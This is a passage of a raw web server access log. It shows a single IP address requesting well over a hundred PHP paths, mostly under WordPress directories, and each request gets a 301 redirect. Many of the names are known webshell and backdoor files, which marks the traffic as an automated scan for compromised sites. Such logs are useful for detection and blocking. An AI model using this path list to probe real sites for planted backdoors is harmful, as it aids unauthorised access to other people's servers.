HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:42 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:43 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:44 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:45 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:45 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:47 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:48 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:49 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:49 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:50 -0400] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:50 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:51 -0400] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:51 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:52 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:52 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:53 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:54 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:54 -0400] "GET /wp-includes/block-patterns/vuln.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:55 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:56 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:57 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:57 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:59 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:00 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:01 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:01 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:02 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:03 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:04 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:05 -0400] "GET /wp-content/plugins/background-image-cropper/plugins.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:07 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:08 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:08 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:09 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:10 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:12 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:14 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:14 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:15 -0400] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:15 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:16 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:17 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:18 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:18 -0400] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:19 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:19 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:20 -0400] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:20 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:21 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:22 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:23 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:23 -0400] "GET /wp-content/plugins/duplicator/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:24 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:26 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:26 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:28 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:29 -0400] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:30 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:32 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:33 -0400] "GET /wp-includes/js/crop/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:35 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:36 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:37 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:38 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:39 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:40 -0400] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:41 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:42 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:43 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:44 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:45 -0400] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:47 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:49 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:49 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:51 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:51 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:52 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:53 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:54 -0400] "GET /wp-includes/Requests/Response/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:55 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:56 -0400] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:57 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:58 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:58 -0400] "GET /wp-mail.php/wp-includes/ID3/wp-mail.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:59 -0400] "GET /wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:29:59 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:00 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:00 -0400] "GET /css/item.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:01 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:02 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:04 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:07 -0400] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:11 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:14 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:16 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:17 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:19 -0400] "GET /wp-includes/SimplePie/Content/Type/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:20 -0400] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:21 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:23 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:24 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:26 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:28 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:30 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:31 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:33 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:35 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:37 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:38 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:41 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:43 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:47 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:49 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:51 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:52 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:53 -0400] "GET /.well-known/.well-known/cc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:54 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:55 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:55 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:56 -0400] "GET /wp-includes/customize/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:57 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:58 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:58 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:58 -0400] "GET /cgi-bin/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:59 -0400] "GET /wp-includes/block-supports/variations.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:30:59 -0400] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:00 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:00 -0400] "GET /wp-content/languages/link.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:01 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:02 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:03 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:03 -0400] "GET /wp-includes/fonts/item.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:04 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:06 -0400] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:07 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:08 -0400] "GET /wp-includes/sodium_compat/link.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:08 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:09 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:11 -0400] "GET /wp-content/plugins/WordPressCore/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:12 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:14 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:16 -0400] "GET /wordpress/wp-admin/includeswp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:16 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:17 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:18 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:19 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:20 -0400] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:23 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:24 -0400] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:25 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:27 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:28 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:31 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:33 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:35 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:36 -0400] "GET /admin/ty.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:38 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:39 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:40 -0400] "GET /wp-content/themes/cay-van-phong/3luaO.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:42 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:43 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:44 -0400] "GET /wp-mail.php/wp-includes/ID3/info.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:45 -0400] "GET /admin/images/slider/CUfcfoH.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:47 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:47 -0400] "GET /wp-includes/blocks/edit.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:48 -0400] "GET /wp-includes/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:48 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:50 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:50 -0400] "GET /wp-includes/certificates/up.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:51 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:51 -0400] "GET /admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:52 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:53 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:54 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:55 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:55 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:56 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:58 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:58 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:31:59 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:00 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:00 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:01 -0400] "GET /include/mail.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:02 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:03 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:04 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:06 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:07 -0400] "GET /wp-content/plugins/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:10 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:12 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:14 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:15 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:15 -0400] "GET /wp-includes/SimplePie/Decode/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:16 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:17 -0400] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:19 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:21 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:24 -0400] "GET /wp-content/upgrade/info.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:27 -0400] "GET /wp-includes/Requests/Cookie/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:30 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:34 -0400] "GET /plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:37 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:39 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:41 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:43 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:45 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:46 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:47 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:48 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:48 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:49 -0400] "GET /.well-known/pki-validation/siteindex.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:49 -0400] "GET /plugins/DaoZM.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:50 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:50 -0400] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:51 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:52 -0400] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:52 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:32:53 